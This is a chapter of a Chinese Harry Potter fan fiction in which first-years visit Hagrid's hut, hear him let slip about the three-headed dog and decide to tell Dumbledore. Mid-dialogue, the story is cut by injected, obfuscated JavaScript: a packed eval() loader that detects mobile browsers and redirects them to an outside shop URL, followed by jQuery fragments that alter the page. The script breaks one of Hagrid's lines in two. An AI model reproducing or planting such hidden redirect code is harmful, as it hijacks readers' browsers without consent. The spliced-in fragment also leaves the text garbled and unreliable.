17. 猎场小屋的茶话

作品:《HP同人霍格沃茨上学指南

    星期天的阳光特别好,金灿灿的,透过拉文克劳塔楼高高的窗户照进来,把地板都晒得暖烘烘的。Eva起床时,看见素雪正把脑袋埋在翅膀底下睡觉,听见她起床的动静,才迷迷糊糊地抬起脑袋,琥珀色的眼睛眨了眨。


    “下午要出门。”Eva轻声说,给素雪的小碟子里添了清水和猫头鹰食。


    她换上日常的衣服——白衬衫,灰色毛衣,牛仔裤,这是妈妈说的“去拜访朋友该穿的”,不是校袍。然后从行李箱里翻出那件深蓝色的厚外套,是圣诞节爸爸妈妈寄来的,料子软软的,很暖和。


    曼蒂也起来了,正在镜子前梳头,想把那几缕不听话的卷发压下去。“你说海格会喜欢什么样的小礼物?”她问,声音里有点紧张,“我妈妈给我寄了一盒威尔士太妃糖,要不要带点?”


    “应该会喜欢,”Eva说,“岩皮饼配太妃糖,说不定会软一点。”


    两人都笑起来。


    早餐时,礼堂里的人比平时少些——周末,又是晴天,好多学生吃完早饭就去院子里玩了。Eva看见哈利、罗恩和赫敏坐在格兰芬多长桌那边,哈利正往面包上涂果酱,动作有点急,涂得到处都是。罗恩在吃熏肉,一边吃一边左右张望,好像怕被人注意到他们吃完饭要去哪儿。赫敏面前摊着一本书,但她没在看,而是时不时看怀表,眉头微微皱着。


    Eva和曼蒂拿了烤面包和橙汁,找了个靠边的位置坐下。帕德玛今天要整理下学期草药课的预习笔记,丽莎说要去图书馆写论文,两人都说不跟她们去海格那儿了——曼蒂只说是去喝茶,没提别的。


    “两点在门厅见,”曼蒂小声重复,“不要迟到。”


    “嗯。”Eva点点头。她看着格兰芬多长桌那边,哈利正好抬头,两人的目光碰了一下。哈利对她做了个很轻的“两点”的口型,Eva点点头。


    上午她们待在公共休息室。Eva想把变形术论文的结尾写完,但有点集中不了精神。笔尖在羊皮纸上停了好几次,墨水都晕开了一小团。她看着窗外——草坪上,几个二年级学生在玩一种会自己弹跳的球,球砰砰地砸在地上,弹得老高,他们的笑声随着风飘上来,断断续续的。


    “你紧张吗?”曼蒂忽然问。她坐在对面的扶手椅里,膝盖上摊着《初级变形术原理》,但一页都没翻。


    Eva想了想。紧张?有一点。但更多的是……有种事情该往前推一步的感觉。像下棋,棋子摆好了,该走了。


    “还好。”她说,放下羽毛笔,“该做的事,做就是了。”


    曼蒂看着她,好像有点惊讶Eva这么干脆。Eva自己也觉得这话说得挺直接——不像她平时会说的。但今天不知怎么,就这么说了出来。


    也许是因为线索已经够多了。像爷爷说的,拼图快拼完了,最后几块该放上去看看对不对。


    “你说得对,”曼蒂深吸一口气,合上书,“做就是了。”


    午饭吃得很简单。一点四十五分,Eva和曼蒂穿上外套,围上围巾——Eva围的是秋织的那条蓝青铜色围巾,软软的,很暖和。曼蒂带上了那盒太妃糖,用彩纸包好,系了根银色的丝带。


    “走吧。”曼蒂说。


    她们走下旋转楼梯。周末下午,进出的人多,门一直开着。公共休息室里,几个高年级学生在讨论古代如尼文的论文,声音嗡嗡的。


    走出塔楼,走廊里空荡荡的。周末的霍格沃茨总是这样,大部分学生要么在公共休息室,要么在图书馆,要么在外面玩。脚步声在石地上发出清晰的回响,嗒,嗒,嗒。


    快到门厅时,她们看见哈利、罗恩和赫敏已经等在那里了。哈利穿着那件明显大了几号的旧外套,袖子挽了好几折;罗恩穿的是他哥哥的旧毛衣,肘部磨得发白;赫敏裹着一条厚厚的格兰芬多红金围巾,怀里抱着几本书——她走到哪儿都带着书。


    “你们来啦。”哈利看见她们,眼睛亮了一下。


    “没迟到吧?”曼蒂小声问,看了一眼门厅角落那座大钟——正好两点。


    “刚刚好,”赫敏说,把怀表收进口袋,“我们走吧。外面风大。”


    他们走出城堡大门。阳光一下子洒下来,亮得晃眼。风确实很大,呼啦啦地吹过来,把头发都吹乱了。Eva把围巾往上拉了拉,遮住下巴。


    去猎场小屋的路在草坪边上,是一条被踩出来的土路,两边是半人高的灌木丛。冬天刚过,灌木还是光秃秃的,枝桠乱糟糟地交错着。脚下的泥土有点湿,前几天化的雪渗进去,踩上去软软的,有点滑。


    “小心点,”罗恩提醒,他自己差点滑了一跤,“这路真该修修了。”


    他们沿着小路慢慢走。远处禁林的边缘已经能看见了,黑黝黝的树影连成一片,像一堵高高的墙。海格的小屋就在禁林边上,烟囱里冒着细细的白烟,在蓝天下几乎看不见。


    快到小屋时,一阵响亮的狗叫声传过来——汪汪汪!震得耳朵嗡嗡响。


    “是牙牙,”哈利说,脸上露出笑容,“海格的狗。别怕,它看起来很凶,其实很乖。”


    话音刚落,小屋的门“砰”地被撞开,一只巨大的黑色猎犬冲了出来,尾巴摇得像风车,口水滴滴答答地往下掉。它直奔他们而来,罗恩吓得往后退了一大步。


    “牙牙!坐下!”海格的声音从屋里传出来,闷闷的,像打雷。


    牙牙不情愿地坐下,但尾巴还在拼命摇,眼睛湿漉漉地盯着他们,喉咙里发出呜呜的声音。


    海格出现在门口。他真的好高好高,像座小山,胡子蓬蓬的,头发乱糟糟的。他穿着件巨大的鼹鼠皮大衣,手里拿着把正在滴水的茶壶。


    “哈!你们来啦!”海格的大脸笑得全是皱纹,“快进来,快进来!外面冷!”


    小屋里面比外面看起来还挤。一张大桌子占了大半边屋子,上面堆满了各种东西:羽毛、骨头、破锅、旧书,还有一大盘黑乎乎、硬邦邦的岩皮饼。壁炉里火烧得正旺,上面挂着一只巨大的铜壶,正咕嘟咕嘟冒热气。墙角堆着南瓜,个个都有脸盆大。


    “坐,坐!”海格用他那蒲扇般的大手胡乱扫了扫桌上的杂物,清出几块地方,“茶马上好。我烤了岩皮饼——新配方,这次保证没那么硬!”


    罗恩和哈利交换了一个眼神。Eva看见赫敏悄悄把那盘岩皮饼往远处推了推。


    “谢谢您邀请我们,海格。”赫敏礼貌地说,把她带的礼物——一本《常见魔法植物养护指南》——放在桌上,“这是给您的。”


    “哦!谢谢,赫敏!”海格眼睛亮起来,大手小心地翻开书页,“我一直想学怎么种好毒触手,我那儿总死……”


    曼蒂也递上太妃糖:“这是我妈妈做的,希望您喜欢。”


    “太妃糖!我最喜欢了!”海格乐呵呵地接过,直接撕开包装纸,塞了一块进嘴里,嚼得嘎嘣响,“嗯!好吃!比蜂蜜公爵的还好!”


    Eva准备的是一小包中国茶叶,用宣纸包着,系着红绳。“我爷爷说这个茶暖身,”她轻声说,“可以配点心喝。”


    “中国茶!”海格更高兴了,小心翼翼地把茶叶包放在壁炉架上,“我还没喝过呢。等会儿就泡!”


    他忙着倒茶,茶杯在他手里小得像玩具。茶水是深褐色的,冒着滚滚热气,闻起来有股浓烈的、类似树皮的味道。


    “尝尝,”海格把茶杯推给每个人,“我自己晒的草药茶,对嗓子好。”


    Eva小心地抿了一口——味道很怪,苦中带甜,还有种说不出的草木味。她看见哈利和罗恩也喝得一脸痛苦,只有赫敏面不改色地小口喝着,还说了句“很有特色”。


    牙牙趴在壁炉边,巨大的脑袋搁在前爪上,眼睛半闭着,偶尔甩一下尾巴,拍在地上“啪”的一声。


    喝了几口茶,气氛慢慢放松下来。海格问起他们的功课,问魁地奇训练,问城堡里的新鲜事。哈利讲起伍德最近发明的“魔鬼训练法”,罗恩抱怨魔药课的除草药剂,赫敏说起弗立维教授的魔咒练习小组。Eva和曼蒂安静地听着,偶尔点点头。


    “对了海格,”哈利忽然说,语气听起来很随意,但Eva注意到他握着茶杯的手有点紧,“我们最近在上神奇动物保护课——当然,一年级还没开始上,但我听高年级说很有意思。你最喜欢哪种神奇动物?”


    海格的脸立刻亮起来:“哦!那可太多了!比如三头犬路威,多威武!还有夜骐,虽然有些人看不见它们,但它们聪明得很……”


    “三头犬?”罗恩适时地问,眼睛睁得圆圆的,“真有这种动物?我以为是传说呢!”


    “当然有!”海格挺起胸膛,满脸自豪,“我就认识一只,叫路威。可爱的大个子,虽然有点爱闹,但只要给它听听音乐,立刻就安静了……”


    他说到一半突然停住,大手捂住嘴,眼睛瞪得老大,好像说漏了什么了不得的秘密。


    屋里安静了几秒。只有壁炉里的火噼啪作响,牙牙打了个响亮的呼噜。


    “音乐?”赫敏敏锐地抓住这个词,但她没追问,而是换了个方向,“三头犬一定很难照顾吧?它们吃什么?”


    “哦,吃得可多了,”海格松了口气,话匣子又打开了,“一天得吃好几只羊,还得定期检查牙齿——三个头呢,刷牙都得刷半天。不过路威现在有人照顾,吃得挺好……”


    “在哪儿照顾啊?”哈利问,声音很轻,像在聊天气,“学校里吗?”


    海格又噎住了。他端起茶杯猛喝了一大口,茶水流到胡子上都顾不上擦:“这个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980633|193567||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……这个不能多说。邓布利多教授交代过,要保密。”


    他的大眼睛扫过五个孩子,眼神里有点警惕,但更多的是那种“我说漏嘴了怎么办”的慌张。


    Eva低头看着手里的茶杯。茶水已经不那么烫了,在粗糙的陶杯里轻轻晃着。海格的反应已经说明了很多——三头犬在学校里,而且邓布利多教授要求保密。这和他们的猜测对上了。


    “对不起,海格,”哈利赶紧说,“我们不该打听的。只是……好奇。”


    “没事,没事,”海格摆摆手,但表情还是有点不自在,“我知道你们都是好孩子。只是有些事……嗯,最好别知道太多。”他顿了顿,压低声音,“城堡里最近不太平,你们知道的吧?四楼那边……总之,晚上别乱跑,听到没?”


    这话让所有人都坐直了。曼蒂的手指绞在一起,指节有点发白。


    “我们知道,”赫敏认真地说,“万圣节那晚的事……我们记得。”


    “那就好,”海格点点头,大手无意识地摸着牙牙的头,“你们要平平安安的。有些东西……有些危险的东西,不该是学生操心的。”


    他又给他们倒茶,这次倒了满满一杯,茶水都溢出来了。“喝茶,喝茶。别说这些了。尝尝岩皮饼,我真的改良了配方!”


    岩皮饼看起来还是那么硬,黑乎乎的,像烧焦的砖头。罗恩勇敢地拿了一块,咬了一小口——“嘎嘣”。他脸都皱成一团,赶紧灌了一大口茶。


    “怎么样?”海格期待地问。


    “……有进步,”罗恩含糊地说,努力嚼着,“至少……没上次那么硌牙。”


    大家都笑起来。气氛又轻松了些。


    他们又聊了一会儿。海格说起他最近在禁林边缘发现了一窝护树罗锅,赫敏听得眼睛发亮,问了好多问题。哈利和罗恩讨论起魁地奇,海格说他年轻时也玩过,“虽然扫帚总被我坐断”。Eva和曼蒂安静地听着,偶尔插一两句。


    窗外,天色渐渐暗下来。太阳西斜,把禁林的树影拉得老长。风还在吹,小屋的门被吹得吱呀作响。


    “该回去了,”赫敏看了眼怀表,“快五点了,晚饭前我们还得去图书馆还书。”


    “哦,这么快?”海格有点不舍,但还是站起来,“那我送送你们。”


    他们走出小屋。牙牙也跟了出来,摇着尾巴挨个蹭他们的腿,口水把罗恩的裤脚都弄湿了。


    “谢谢您的茶,海格。”哈利说。


    “常来啊!”海格站在门口,巨大的身影在暮色里像座塔,“下次我给你们做岩皮饼汤——把饼泡软了吃,应该不错!”


    这个主意让所有人都打了个寒颤。


    回去的路上,风更冷了。Eva把脸埋进围巾里,脑子里回响着海格的话。


    走到城堡大门时,天已经快黑了。门厅里灯火通明,几个学生匆匆走过,袍角翻飞。


    “现在怎么办?”曼蒂小声问,声音在风里有点抖。


    哈利看看大家:“明天早餐后,我们去校长办公室。把我们知道的都告诉邓布利多教授。”


    “都告诉?”罗恩问,“包括海格说漏嘴的事?”


    “包括,”哈利点头,“海格是为了我们好,但事情已经到了这一步,瞒着没用。”


    Eva点点头。该做的事,做就是了。告诉教授,让大人处理。这是最对的路。


    “好,”她说,“明天一起去。”


    他们在门厅分开。Eva和曼蒂回拉文克劳塔楼,哈利他们回格兰芬多。


    鹰形门环今晚的问题是:“什么东西知道得越多,负担越重?”


    “真相。”Eva说。


    门开了。公共休息室里温暖明亮,壁炉里的火烧得正旺。秋·张看见她们进来,抬头笑了笑。


    “回来啦?海格请你们吃什么了?”


    “岩皮饼,”曼蒂做了个鬼脸,“还有很苦的茶。”


    “还有……一些沉重的话。”Eva在心里默默补了一句。


    她坐在窗边,翻开爷爷的笔记。今天没看静心口诀,而是翻到了后面一页——那里有爷爷用细毛笔写的一行小字:


    “知者不惑,勇者不惧。路见不平,当告长者。”


    她盯着这行字看了很久。


    知者不惑——知道了,就不迷惑。


    勇者不惧——该做的,就不怕。


    路见不平,当告长者——看到不对的事,要告诉大人。


    明天就去告诉。


    她合上笔记,看向窗外。夜色完全降临了,城堡的灯火在黑暗里温暖地亮着。


    该做的事,做就是了。


    一步一步来。


    窗外的风还在吹,但塔楼里很暖。


    很安全。